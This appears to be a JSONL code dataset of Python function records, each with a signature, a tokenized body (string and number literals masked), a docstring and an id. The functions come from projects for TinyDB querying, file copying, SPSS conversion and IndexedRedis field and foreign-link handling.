{"signature": "def find_unique(table, sample, unique_fields=None):", "body": "res = search_unique(table, sample, unique_fields)<EOL>if res is not None:<EOL><INDENT>return res.eid<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT>", "docstring": "Search in `table` an item with the value of the `unique_fields` in the `sample` sample.\n    Check if the the obtained result is unique. If nothing is found will return an empty list,\n    if there is more than one item found, will raise an IndexError.\n\n    Parameters\n    ----------\n    table: tinydb.table\n\n    sample: dict\n        Sample data\n\n    unique_fields: list of str\n        Name of fields (keys) from `data` which are going to be used to build\n        a sample to look for exactly the same values in the database.\n        If None, will use every key in `data`.\n\n    Returns\n    -------\n    eid: int\n        Id of the object found with same `unique_fields`.\n        None if none is found.\n\n    Raises\n    ------\n    MoreThanOneItemError\n        If more than one example is found.", "id": "f4104:m6"}
{"signature": "def _query_sample(sample, operators='<STR_LIT>'):", "body": "if isinstance(operators, str):<EOL><INDENT>operators = [operators] * len(sample)<EOL><DEDENT>if len(sample) != len(operators):<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(len(sample),<EOL>operators))<EOL><DEDENT>queries = []<EOL>for i, fn in enumerate(sample):<EOL><INDENT>fv = sample[fn]<EOL>op = operators[i]<EOL>queries.append(_build_query(field_name=fn,<EOL>field_value=fv,<EOL>operator=op))<EOL><DEDENT>return _concat_queries(queries, operators='<STR_LIT>')<EOL>", "docstring": "Create a TinyDB query that looks for items that have each field in `sample` with a value\n    compared with the correspondent operation in `operators`.\n\n    Parameters\n    ----------\n    sample: dict\n        The sample data\n\n    operators: str or list of str\n        A list of comparison operations for each field value in `sample`.\n        If this is a str, will use the same operator for all `sample` fields.\n        If you want different operators for each field, remember to use an OrderedDict for `sample`.\n        Check TinyDB.Query class for possible choices.\n\n    Returns\n    -------\n    query: tinydb.database.Query", "id": "f4104:m7"}
{"signature": "def _query_data(data, field_names=None, operators='<STR_LIT>'):", "body": "if field_names is None:<EOL><INDENT>field_names = list(data.keys())<EOL><DEDENT>if isinstance(field_names, str):<EOL><INDENT>field_names = [field_names]<EOL><DEDENT>sample = OrderedDict([(fn, data[fn]) for fn in field_names])<EOL>return _query_sample(sample, operators=operators)<EOL>", "docstring": "Create a tinyDB Query object that looks for items that confirms the correspondent operator\n    from `operators` for each `field_names` field values from `data`.\n\n    Parameters\n    ----------\n    data: dict\n        The data sample\n\n    field_names: str or list of str\n        The name of the fields in `data` that will be used for the query.\n\n    operators: str or list of str\n        A list of comparison operations for each field value in `field_names`.\n        If this is a str, will use the same operator for all `field_names`.\n        If you want different operators for each field, remember to use an OrderedDict for `data`.\n        Check TinyDB.Query class for possible choices.\n\n    Returns\n    -------\n    query: tinydb.database.Query", "id": "f4104:m8"}
{"signature": "def _concat_queries(queries, operators='<STR_LIT>'):", "body": "<EOL>if not queries:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(queries))<EOL><DEDENT>if len(queries) == <NUM_LIT:1>:<EOL><INDENT>return queries[<NUM_LIT:0>]<EOL><DEDENT>if isinstance(operators, str):<EOL><INDENT>operators = [operators] * (len(queries) - <NUM_LIT:1>)<EOL><DEDENT>if len(queries) - <NUM_LIT:1> != len(operators):<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(len(queries),<EOL>operators))<EOL><DEDENT>first, rest, end = queries[<NUM_LIT:0>], queries[<NUM_LIT:1>:-<NUM_LIT:1>], queries[-<NUM_LIT:1>:][<NUM_LIT:0>]<EOL>bigop = getattr(first, operators[<NUM_LIT:0>])<EOL>for i, q in enumerate(rest):<EOL><INDENT>bigop = getattr(bigop(q), operators[i])<EOL><DEDENT>return bigop(end)<EOL>", "docstring": "Create a tinyDB Query object that is the concatenation of each query in `queries`.\n    The concatenation operator is taken from `operators`.\n\n    Parameters\n    ----------\n    queries: list of tinydb.Query\n        The list of tinydb.Query to be joined.\n\n    operators: str or list of str\n        List of binary operators to join `queries` into one query.\n        Check TinyDB.Query class for possible choices.\n\n    Returns\n    -------\n    query: tinydb.database.Query", "id": "f4104:m9"}
{"signature": "def _build_query(field_name, field_value, operator='<STR_LIT>'):", "body": "qelem = where(field_name)<EOL>if not hasattr(qelem, operator):<EOL><INDENT>raise NotImplementedError('<STR_LIT>'.format(operator))<EOL><DEDENT>else:<EOL><INDENT>query = getattr(qelem, operator)<EOL><DEDENT>return query(field_value)<EOL>", "docstring": "Create a tinyDB Query object with the format:\n    (where(`field_name`) `operator` `field_value`)\n\n    Parameters\n    ----------\n    field_name: str\n        The name of the field to be queried.\n\n    field_value:\n        The value of the field\n\n    operator: str\n        The comparison operator.\n        Check TinyDB.Query class for possible choices.\n\n    Returns\n    -------\n    query: tinydb.database.Query", "id": "f4104:m10"}
{"signature": "def search_by_eid(self, table_name, eid):", "body": "elem = self.table(table_name).get(eid=eid)<EOL>if elem is None:<EOL><INDENT>raise KeyError('<STR_LIT>'.format(table_name, eid))<EOL><DEDENT>return elem<EOL>", "docstring": "Return the element in `table_name` with Object ID `eid`.\n        If None is found will raise a KeyError exception.\n\n        Parameters\n        ----------\n        table_name: str\n            The name of the table to look in.\n\n        eid: int\n            The Object ID of the element to look for.\n\n        Returns\n        -------\n        elem: tinydb.database.Element\n\n        Raises\n        ------\n        KeyError\n            If the element with ID `eid` is not found.", "id": "f4104:c2:m1"}
{"signature": "def insert_unique(self, table_name, data, unique_fields=None, *, raise_if_found=False):", "body": "return insert_unique(table=self.table(table_name),<EOL>data=_to_string(data),<EOL>unique_fields=unique_fields,<EOL>raise_if_found=raise_if_found)<EOL>", "docstring": "Insert `data` into `table` ensuring that data has unique values\n        in `table` for the fields listed in `unique_fields`.\n\n        If `raise_if_found` is True, will raise an NotUniqueItemError if\n        another item with the same `unique_fields` values are found\n        previously in `table`.\n        If False, will return the `eid` from the item found.\n\n        Parameters\n        ----------\n        table_name: str\n\n        data: dict\n\n        unique_fields: list of str\n            Name of fields (keys) from `data` which are going to be used to build\n            a sample to look for exactly the same values in the database.\n            If None, will use every key in `data`.\n\n        raise_if_found: bool\n\n        Returns\n        -------\n        eid: int\n            Id of the object inserted or the one found with same `unique_fields`.\n\n        Raises\n        ------\n        MoreThanOneItemError\n            Raise even with `raise_with_found` == False if it finds more than one item\n            with the same values as the sample.\n\n        NotUniqueItemError\n            If `raise_if_found` is True and an item with the same `unique_fields`\n            values from `data` is found in `table`.", "id": "f4104:c2:m2"}
{"signature": "def search_unique(self, table_name, sample, unique_fields=None):", "body": "return search_unique(table=self.table(table_name),<EOL>sample=sample,<EOL>unique_fields=unique_fields)<EOL>", "docstring": "Search in `table` an item with the value of the `unique_fields` in the `data` sample.\n        Check if the the obtained result is unique. If nothing is found will return an empty list,\n        if there is more than one item found, will raise an IndexError.\n\n        Parameters\n        ----------\n        table_name: str\n\n        sample: dict\n            Sample data\n\n        unique_fields: list of str\n            Name of fields (keys) from `data` which are going to be used to build\n            a sample to look for exactly the same values in the database.\n            If None, will use every key in `data`.\n\n        Returns\n        -------\n        eid: int\n            Id of the object found with same `unique_fields`.\n            None if none is found.\n\n        Raises\n        ------\n        MoreThanOneItemError\n            If more than one example is found.", "id": "f4104:c2:m3"}
{"signature": "def search_sample(self, table_name, sample):", "body": "return search_sample(table=self.table(table_name),<EOL>sample=sample)<EOL>", "docstring": "Search for items in `table` that have the same field sub-set values as in `sample`.\n\n        Parameters\n        ----------\n        table_name: str\n\n        sample: dict\n            Sample data\n\n        Returns\n        -------\n        search_result: list of dict\n            List of the items found. The list is empty if no item is found.", "id": "f4104:c2:m4"}
{"signature": "def is_unique(self, table_name, sample, unique_fields=None):", "body": "try:<EOL><INDENT>eid = find_unique(self.table(table_name),<EOL>sample=sample,<EOL>unique_fields=unique_fields)<EOL><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return eid is not None<EOL><DEDENT>", "docstring": "Return True if an item with the value of `unique_fields`\n        from `data` is unique in the table with `table_name`.\n        False if no sample is found or more than one is found.\n\n        See function `find_unique` for more details.\n\n        Parameters\n        ----------\n        table_name: str\n\n        sample: dict\n            Sample data for query\n\n        unique_fields: str or list of str\n\n        Returns\n        -------\n        is_unique: bool", "id": "f4104:c2:m5"}
{"signature": "def update_unique(self, table_name, fields, data, cond=None, unique_fields=None,<EOL>*, raise_if_not_found=False):", "body": "eid = find_unique(self.table(table_name), data, unique_fields)<EOL>if eid is None:<EOL><INDENT>if raise_if_not_found:<EOL><INDENT>msg  = '<STR_LIT>'.format(table_name, data)<EOL>if cond is not None:<EOL><INDENT>msg += '<STR_LIT>'.format(cond)<EOL><DEDENT>raise IndexError(msg)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.table(table_name).update(_to_string(fields), cond=cond, eids=[eid])<EOL><DEDENT>return eid<EOL>", "docstring": "Update the unique matching element to have a given set of fields.\n\n        Parameters\n        ----------\n        table_name: str\n\n        fields: dict or function[dict -> None]\n            new data/values to insert into the unique element\n            or a method that will update the elements.\n\n        data: dict\n            Sample data for query\n\n        cond: tinydb.Query\n            which elements to update\n\n        unique_fields: list of str\n\n        raise_if_not_found: bool\n            Will raise an exception if the element is not found for update.\n\n        Returns\n        -------\n        eid: int\n            The eid of the updated element if found, None otherwise.", "id": "f4104:c2:m6"}
{"signature": "def count(self, table_name, sample):", "body": "return len(list(search_sample(table=self.table(table_name),<EOL>sample=sample)))<EOL>", "docstring": "Return the number of items that match the `sample` field values\n        in table `table_name`.\n        Check function search_sample for more details.", "id": "f4104:c2:m7"}
{"signature": "def get_requirements(*args):", "body": "install_deps = []<EOL>try:<EOL><INDENT>for fpath in args:<EOL><INDENT>install_deps.extend([str(d.req or d.url) for d in parse_requirements(fpath)])<EOL><DEDENT><DEDENT>except:<EOL><INDENT>print('<STR_LIT>'.format(fpath))<EOL><DEDENT>return [dep for dep in install_deps if dep != '<STR_LIT:None>']<EOL>", "docstring": "Parse all requirements files given and return a list of the dependencies", "id": "f4105:m0"}
{"signature": "def recursive_glob(base_directory, regex=None):", "body": "if regex is None:<EOL><INDENT>regex = '<STR_LIT>'<EOL><DEDENT>files = glob(os.path.join(base_directory, regex))<EOL>for path, dirlist, filelist in os.walk(base_directory):<EOL><INDENT>for ignored in IGNORE:<EOL><INDENT>try:<EOL><INDENT>dirlist.remove(ignored)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>for dir_name in dirlist:<EOL><INDENT>files.extend(glob(os.path.join(path, dir_name, regex)))<EOL><DEDENT><DEDENT>return files<EOL>", "docstring": "Uses glob to find all files that match the regex in base_directory.\n\n    @param base_directory: string\n\n    @param regex: string\n\n    @return: set", "id": "f4105:m1"}
{"signature": "@baker.command(default=True,<EOL>shortopts={'<STR_LIT>': '<STR_LIT:c>',<EOL>'<STR_LIT>': '<STR_LIT:d>',<EOL>'<STR_LIT>': '<STR_LIT:s>',<EOL>'<STR_LIT>': '<STR_LIT:o>'})<EOL>def copy(configfile='<STR_LIT>', destpath='<STR_LIT>', overwrite=False, sub_node='<STR_LIT>'):", "body": "log.info('<STR_LIT>'.format(os.path.basename(__file__),<EOL>whoami(),<EOL>locals()))<EOL>assert(os.path.isfile(configfile))<EOL>if os.path.exists(destpath):<EOL><INDENT>if os.listdir(destpath):<EOL><INDENT>raise FolderAlreadyExists('<STR_LIT>'<EOL>'<STR_LIT>'.format(destpath))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>log.info('<STR_LIT>'.format(destpath))<EOL>path(destpath).makedirs_p()<EOL><DEDENT>from boyle.files.file_tree_map import FileTreeMap<EOL>file_map = FileTreeMap()<EOL>try:<EOL><INDENT>file_map.from_config_file(configfile)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise FileTreeMapError(str(e))<EOL><DEDENT>if sub_node:<EOL><INDENT>sub_map = file_map.get_node(sub_node)<EOL>if not sub_map:<EOL><INDENT>raise FileTreeMapError('<STR_LIT>'<EOL>'<STR_LIT>'.format(sub_node))<EOL><DEDENT>file_map._filetree = {}<EOL>file_map._filetree[sub_node] = sub_map<EOL><DEDENT>try:<EOL><INDENT>file_map.copy_to(destpath, overwrite=overwrite)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise FileTreeMapError(str(e))<EOL><DEDENT>", "docstring": "Copies the files in the built file tree map\n    to despath.\n\n    :param configfile: string\n     Path to the FileTreeMap config file\n\n    :param destpath: string\n     Path to the files destination\n\n    :param overwrite: bool\n     Overwrite files if they already exist.\n\n    :param sub_node: string\n     Tree map configuration sub path.\n     Will copy only the contents within this sub-node", "id": "f4107:m0"}
{"signature": "def get_noneid_references(self):", "body": "<EOL>try:<EOL><INDENT>nun = np.array(None).astype(self.dtype)<EOL>return np.array(self.reflst)[self == nun]<EOL><DEDENT>except:<EOL><INDENT>nun = None<EOL>return np.array(self.reflst)[self is None]<EOL><DEDENT>", "docstring": "Returns\n-------\nndarray\nArray of references in self.reflst whose self id is None.", "id": "f4108:c1:m3"}
{"signature": "def _print_general_vs_table(self, idset1, idset2):", "body": "ref1name = '<STR_LIT>'<EOL>set1_hasref = isinstance(idset1, idset_with_reference)<EOL>if set1_hasref:<EOL><INDENT>ref1arr = np.array(idset1.reflst)<EOL>ref1name = idset1.refname<EOL><DEDENT>ref2name = ref1name<EOL>set2_hasref = isinstance(idset2, idset_with_reference)<EOL>if set2_hasref:<EOL><INDENT>ref2arr = np.array(idset2.reflst)<EOL>ref2name = idset2.refname<EOL><DEDENT>else:<EOL><INDENT>ref2name = ref1name<EOL><DEDENT>hdr11 = '<STR_LIT>'.format(idset1.name, idset2.name)<EOL>hdr12 = '<STR_LIT>'.format(idset1.name, idset2.name, ref2name)<EOL>hdr13 = '<STR_LIT>'.format(idset1.name, idset2.name)<EOL>hdr14 = '<STR_LIT>'.format(idset1.name, idset2.name, ref1name)<EOL>table = [[hdr11, hdr12, hdr13, hdr14]]<EOL>set1 = set(idset1)<EOL>set2 = set(idset2)<EOL>row11 = list(set1 - set2)<EOL>if set1_hasref:<EOL><INDENT>row12 = [ref1arr[np.where(idset1 == nom)][<NUM_LIT:0>] for nom in row11]<EOL><DEDENT>else:<EOL><INDENT>row12 = ['<STR_LIT>' for _ in row11]<EOL><DEDENT>row13 = list(set2 - set1)<EOL>if set2_hasref:<EOL><INDENT>row14 = [ref2arr[np.where(idset2 == nom)][<NUM_LIT:0>] for nom in row13]<EOL><DEDENT>else:<EOL><INDENT>row14 = ['<STR_LIT>' for _ in row13]<EOL><DEDENT>tablst = self._tabulate_4_lists(row11, row12, row13, row14)<EOL>table.extend(tablst)<EOL>if len(table) > <NUM_LIT:1>:<EOL><INDENT>print(tabulate(table, headers='<STR_LIT>'))<EOL>print('<STR_LIT:\\n>')<EOL><DEDENT>", "docstring": ":param idset1:\n:param idset2:", "id": "f4108:c2:m4"}
{"signature": "def _print_foreign_repetition_table(self, idset1, idset2):", "body": "assert(isinstance(idset1, idset_with_reference))<EOL>assert(isinstance(idset2, idset))<EOL>reps = idset2.get_repetitions()<EOL>if len(reps) < <NUM_LIT:1>:<EOL><INDENT>return<EOL><DEDENT>refs = np.array(idset1.reflst)<EOL>table = [['<STR_LIT>'.format(idset1.name,<EOL>idset1.refname,<EOL>idset2.name),<EOL>'<STR_LIT>']]<EOL>for rep in reps:<EOL><INDENT>if np.any(idset1 == rep):<EOL><INDENT>matches = refs[np.where(idset1 == rep)]<EOL>myrep = rep<EOL>for m in matches:<EOL><INDENT>table.append([myrep, m])<EOL>myrep = '<STR_LIT>'<EOL><DEDENT><DEDENT><DEDENT>print(tabulate(table, headers='<STR_LIT>'))<EOL>print('<STR_LIT:\\n>')<EOL>", "docstring": ":param idset1:\n:param idset2:", "id": "f4108:c2:m5"}
{"signature": "def print_compare_idsets_one_ref(self, idset1_name, idset2_name):", "body": "try:<EOL><INDENT>idset1 = self[idset1_name]<EOL>idset2 = self[idset2_name]<EOL><DEDENT>except KeyError as ke:<EOL><INDENT>log.error('<STR_LIT>'.format(idset1_name,<EOL>idset2_name))<EOL>import sys, pdb<EOL>pdb.post_mortem(sys.exc_info()[<NUM_LIT:2>])<EOL>raise<EOL><DEDENT>assert(isinstance(idset1, idset_with_reference))<EOL>assert(isinstance(idset2, idset))<EOL>self._print_general_vs_table(idset1, idset2)<EOL>self._print_foreign_repetition_table(idset1, idset2)<EOL>", "docstring": "idset1_name: string\nkey of an idset_with_reference\n\nidset2_name: string\nkey of an idset", "id": "f4108:c2:m7"}
{"signature": "def print_compare_idsets_two_refs(self, idset1_name, idset2_name):", "body": "try:<EOL><INDENT>idset1 = self[idset1_name]<EOL>idset2 = self[idset2_name]<EOL><DEDENT>except KeyError as ke:<EOL><INDENT>log.error('<STR_LIT>'.format(idset1_name,<EOL>idset2_name))<EOL>import sys, pdb<EOL>pdb.post_mortem(sys.exc_info()[<NUM_LIT:2>])<EOL>raise<EOL><DEDENT>assert(isinstance(idset1, idset_with_reference))<EOL>assert(isinstance(idset2, idset_with_reference))<EOL>self._print_general_vs_table(idset1, idset2)<EOL>self._print_foreign_repetition_table(idset1, idset2)<EOL>self._print_foreign_repetition_table(idset2, idset1)<EOL>", "docstring": "idset1_name: string\nkey of an idset_with_reference\n\nidset2_name: string\nkey of an idset", "id": "f4108:c2:m8"}
{"signature": "@baker.command(name='<STR_LIT>',<EOL>params={\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"\"\"<STR_LIT>\"\"\",<EOL>\"<STR_LIT>\": \"\"\"<STR_LIT>\"\"\"},<EOL>shortopts={'<STR_LIT>': '<STR_LIT:i>', '<STR_LIT>': '<STR_LIT:o>', <EOL>'<STR_LIT>': '<STR_LIT:m>', '<STR_LIT>': '<STR_LIT:t>'})<EOL>def convert_sav(inputfile, outputfile=None, method='<STR_LIT>', otype='<STR_LIT>'):", "body": "assert(os.path.isfile(inputfile))<EOL>assert(method=='<STR_LIT>' or method=='<STR_LIT>')<EOL>if method == '<STR_LIT>':<EOL><INDENT>df = sav_to_pandas_rpy2(inputfile)<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>df = sav_to_pandas_savreader(inputfile)<EOL><DEDENT>otype_exts = {'<STR_LIT>': '<STR_LIT>', <EOL>'<STR_LIT>': '<STR_LIT>', <EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:html>': '<STR_LIT>'}<EOL>if outputfile is None:<EOL><INDENT>outputfile = inputfile.replace(path(inputfile).ext, '<STR_LIT>')<EOL><DEDENT>outputfile = add_extension_if_needed(outputfile, otype_exts[otype])<EOL>if otype == '<STR_LIT>':<EOL><INDENT>df.to_csv(outputfile)<EOL><DEDENT>elif otype == '<STR_LIT>':<EOL><INDENT>df.to_hdf(outputfile, os.path.basename(outputfile))<EOL><DEDENT>elif otype == '<STR_LIT>':<EOL><INDENT>df.to_stata(outputfile)<EOL><DEDENT>elif otype == '<STR_LIT>':<EOL><INDENT>df.to_json(outputfile)<EOL><DEDENT>elif otype == '<STR_LIT>':<EOL><INDENT>df.to_pickle(outputfile)<EOL><DEDENT>elif otype == '<STR_LIT>':<EOL><INDENT>df.to_excel(outputfile)<EOL><DEDENT>elif otype == '<STR_LIT:html>':<EOL><INDENT>df.to_html(outputfile)<EOL><DEDENT>else:<EOL><INDENT>df.to_csv(outputfile)<EOL><DEDENT>", "docstring": "Transforms the input .sav SPSS file into other format.\n    If you don't specify an outputfile, it will use the\n    inputfile and change its extension to .csv", "id": "f4109:m0"}
{"signature": "def findGoodTests():", "body": "pathSplit = os.environ['<STR_LIT>'].split('<STR_LIT::>')<EOL>if '<STR_LIT:.>' not in pathSplit:<EOL><INDENT>pathSplit = ['<STR_LIT:.>'] + pathSplit<EOL>os.environ['<STR_LIT>'] = '<STR_LIT::>'.join(pathSplit)<EOL><DEDENT>result = '<STR_LIT>'<EOL>success = False<EOL>for path in pathSplit:<EOL><INDENT>if path.endswith('<STR_LIT:/>'):<EOL><INDENT>path = path[:-<NUM_LIT:1>]<EOL><DEDENT>guess = path + '<STR_LIT>'<EOL>if os.path.exists(guess):<EOL><INDENT>success = True<EOL>result = guess<EOL>break<EOL><DEDENT><DEDENT>return {<EOL>'<STR_LIT:path>'    : result,<EOL>\"<STR_LIT:success>\" : success <EOL>}<EOL>", "docstring": "findGoodTests - Tries to find GoodTests.py\n\n@return <dict> {\n    'path' <str> -> Path to GoodTests.py (for execution)\n    'success' <bool> -> True/False if we successfully found GoodTests.py\n}", "id": "f4110:m0"}
{"signature": "def setDefaultIREncoding(encoding):", "body": "try:<EOL><INDENT>b'<STR_LIT>'.decode(encoding)<EOL><DEDENT>except:<EOL><INDENT>raise ValueError('<STR_LIT>' %(str(encoding), ))<EOL><DEDENT>global defaultIREncoding<EOL>defaultIREncoding = encoding<EOL>", "docstring": "setDefaultIREncoding - Sets the default encoding used by IndexedRedis.\n  This will be the default encoding used for field data. You can override this on a\n  per-field basis by using an IRField (such as IRUnicodeField or IRRawField)\n\n@param encoding - An encoding (like utf-8)", "id": "f4140:m0"}
{"signature": "def getDefaultIREncoding():", "body": "global defaultIREncoding<EOL>return defaultIREncoding<EOL>", "docstring": "getDefaultIREncoding - Get the default encoding that IndexedRedis will use for all field data.\n  You can override this on a per-field basis by using an IRField (such as IRUnicodeField or IRRawField)\n\n  @return <str> - Default encoding string", "id": "f4140:m1"}
{"signature": "def isEncodedString(x):", "body": "return issubclass(x.__class__, encoded_str_type)<EOL>", "docstring": "isEncodedString - Check if a given string is \"encoded\" with a codepage.\n\n  Note this means UNICODE, not BYTES, even though python uses \"decode\" to apply an encoding and \"encode\" to get the raw bytes..", "id": "f4140:m2"}
{"signature": "def __init__(self, name='<STR_LIT>'):", "body": "self.valueType = None<EOL>self.defaultValue = '<STR_LIT>'<EOL>", "docstring": "__init__ - Create an IRRawField. Only takes a name\n\n@param name <str> - Field name\n\nThis field type does not support indexing.", "id": "f4142:c0:m0"}
{"signature": "def __init__(self, name='<STR_LIT>', defaultValue=irNull, encoding=None):", "body": "self.valueType = None<EOL>self.encoding = encoding<EOL>self.defaultValue = defaultValue<EOL>", "docstring": "__init__ - Create an IRBase64Field object.\n\n@param name <str> - Field name\n\n@param defaultValue <any> (Default irNull) - Default value of field\n\n@param encoding <None/str> (default None) - An explicit encoding to use when converting to bytes. If None, the global defaultIREncoding will be used.\n\n\nAn IRBytesField is indexable and the index is forced to be hashed", "id": "f4143:c0:m0"}
{"signature": "def __new__(self, val='<STR_LIT>'):", "body": "return IrNullBaseType.__new__(self, '<STR_LIT>')<EOL>", "docstring": "Don't let this be assigned a value.", "id": "f4144:c0:m0"}
{"signature": "def __init__(self, name='<STR_LIT>', compressMode=COMPRESS_MODE_ZLIB, defaultValue=irNull):", "body": "self.valueType = None<EOL>self.defaultValue = defaultValue<EOL>if compressMode == COMPRESS_MODE_ZLIB or compressMode in _COMPRESS_MODE_ALIASES_ZLIB:<EOL><INDENT>self.compressMode = COMPRESS_MODE_ZLIB<EOL>self.header = b'<STR_LIT>'<EOL>self.extraCompressArgs = (<NUM_LIT:9>, )<EOL><DEDENT>elif compressMode == COMPRESS_MODE_BZ2 or compressMode in _COMPRESS_MODE_ALIASES_BZ2:<EOL><INDENT>self.compressMode = COMPRESS_MODE_BZ2<EOL>self.header = b'<STR_LIT>'<EOL>self.extraCompressArgs = (<NUM_LIT:9>, )<EOL><DEDENT>elif compressMode == COMPRESS_MODE_LZMA or compressMode in _COMPRESS_MODE_ALIASES_LZMA:<EOL><INDENT>self.compressMode = COMPRESS_MODE_LZMA<EOL>self.header = b'<STR_LIT>'<EOL>self.extraCompressArgs = tuple()<EOL>self.getCompressMod() <EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' %(str(compressMode), name))<EOL><DEDENT>", "docstring": "__init__ - Create this object\n\n@param name <str> - Field name\n@param compressMode <str>, default \"zlib\". Determines the compression module to use\n  for this field. See COMPRESS_MODE_* variables in this module.\n\n  Supported values as of 5.0.0 are:\n\n     \"zlib\" / \"gz\" / \"gzip\" - zlib compression\n\n     \"bz2\"  / \"bzip2\"       - bzip2 compression\n\n     \"lzma\" / \"xz\"          - LZMA compression.\n       NOTE: This is provided in python3 by default, but in python2 you will need an external module.\n        IndexedRedis will automatically detect if \"backports.lzma\" or \"lzmaffi\" are installed, and use them\n        if the core \"lzma\" module is not available.\n\n@param defaultValue - The default value for this field\n\nAn IRCompressedField is indexable, and forces the index to be hashed.", "id": "f4145:c0:m0"}
{"signature": "def getCompressMod(self):", "body": "if self.compressMode == COMPRESS_MODE_ZLIB:<EOL><INDENT>return zlib<EOL><DEDENT>if self.compressMode == COMPRESS_MODE_BZ2:<EOL><INDENT>return bz2<EOL><DEDENT>if self.compressMode == COMPRESS_MODE_LZMA:<EOL><INDENT>global _lzmaMod<EOL>if _lzmaMod is not None:<EOL><INDENT>return _lzmaMod<EOL><DEDENT>try:<EOL><INDENT>import lzma<EOL>_lzmaMod = lzma<EOL>return _lzmaMod<EOL><DEDENT>except:<EOL><INDENT>try:<EOL><INDENT>from backports import lzma<EOL>_lzmaMod = lzma<EOL>return _lzmaMod<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>import lzmaffi as lzma<EOL>_lzmaMod = lzma<EOL>return _lzmaMod<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>raise ImportError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "getCompressMod - Return the module used for compression on this field\n\n@return <module> - The module for compression", "id": "f4145:c0:m1"}
{"signature": "def __init__(self, pk=None, foreignModel=None, obj=None):", "body": "self.pk = pk<EOL>self.obj = obj<EOL>if foreignModel is not None:<EOL><INDENT>if issubclass(foreignModel.__class__, weakref.ReferenceType):<EOL><INDENT>foreignModel = foreignModel()<EOL><DEDENT>self._foreignModel = weakref.ref(foreignModel)<EOL><DEDENT>else:<EOL><INDENT>self._foreignModel = None<EOL><DEDENT>", "docstring": "__init__ - Create a ForeignLinkData object\n\n@param pk <int> - The primary key of the foreign object\n@param obj <None/IndexedRedisModel> - The resolved object, or None if not yet resolved", "id": "f4146:c1:m0"}
{"signature": "@property<EOL><INDENT>def foreignModel(self):<DEDENT>", "body": "return self._foreignModel()<EOL>", "docstring": "foreignModel - Resolve and return the weakref to the associated foreign model", "id": "f4146:c1:m2"}
{"signature": "def getObj(self):", "body": "if self.obj is None:<EOL><INDENT>if not self.pk:<EOL><INDENT>return None<EOL><DEDENT>self.obj = self.foreignModel.objects.get(self.pk)<EOL><DEDENT>return self.obj<EOL>", "docstring": "getObj - Fetch (if not fetched) and return the obj associated with this data.", "id": "f4146:c1:m3"}
{"signature": "def getObjs(self):", "body": "return [ self.getObj() ]<EOL>", "docstring": "getObjs - Fetch (if not fetched) and return the obj associated with this data.\n\n        Output is iterable.", "id": "f4146:c1:m4"}
{"signature": "def getPk(self):", "body": "if not self.pk and self.obj:<EOL><INDENT>if self.obj._id:<EOL><INDENT>self.pk = self.obj._id<EOL><DEDENT><DEDENT>return self.pk<EOL>", "docstring": "getPk - Resolve any absent pk's off the obj's (like if an obj has been saved), and return the pk.", "id": "f4146:c1:m5"}
{"signature": "def isFetched(self):", "body": "return not bool(self.obj is None)<EOL>", "docstring": "isFetched - Check if the associated obj has been fetched or not.", "id": "f4146:c1:m7"}
{"signature": "def objHasUnsavedChanges(self):", "body": "if not self.obj:<EOL><INDENT>return False<EOL><DEDENT>return self.obj.hasUnsavedChanges(cascadeObjects=True)<EOL>", "docstring": "objHasUnsavedChanges - Check if any object has unsaved changes, cascading.", "id": "f4146:c1:m11"}
{"signature": "def __init__(self, pk=None, foreignModel=None, obj=None):", "body": "ForeignLinkData.__init__(self, pk, foreignModel, obj)<EOL>pk = self.pk<EOL>obj = self.obj<EOL>if pk and not obj:<EOL><INDENT>self.obj = [None for i in range(len(pk))]<EOL><DEDENT>elif obj and not pk:<EOL><INDENT>self.pk = []<EOL>for thisObj in obj:<EOL><INDENT>if thisObj._id:<EOL><INDENT>self.pk.append(thisObj._id)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>elif len(obj) != len(pk):<EOL><INDENT>if len(pk) > len(obj):<EOL><INDENT>self.obj += [None for i in range( len(pk) - len(obj) ) ]<EOL><DEDENT>else:<EOL><INDENT>for thisObj in obj[len(pk):]:<EOL><INDENT>if thisObj._id:<EOL><INDENT>self.pk.append(thisObj._id)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "__init__ - Create a ForeignLinkMultiData\n\n@see ForeignLinkData", "id": "f4146:c2:m0"}
{"signature": "def getPk(self):", "body": "if not self.pk or None in self.pk:<EOL><INDENT>for i in range( len(self.pk) ):<EOL><INDENT>if self.pk[i]:<EOL><INDENT>continue<EOL><DEDENT>if self.obj[i] and self.obj[i]._id:<EOL><INDENT>self.pk[i] = self.obj[i]._id<EOL><DEDENT><DEDENT><DEDENT>return self.pk<EOL>", "docstring": "getPk - @see ForeignLinkData.getPk", "id": "f4146:c2:m1"}
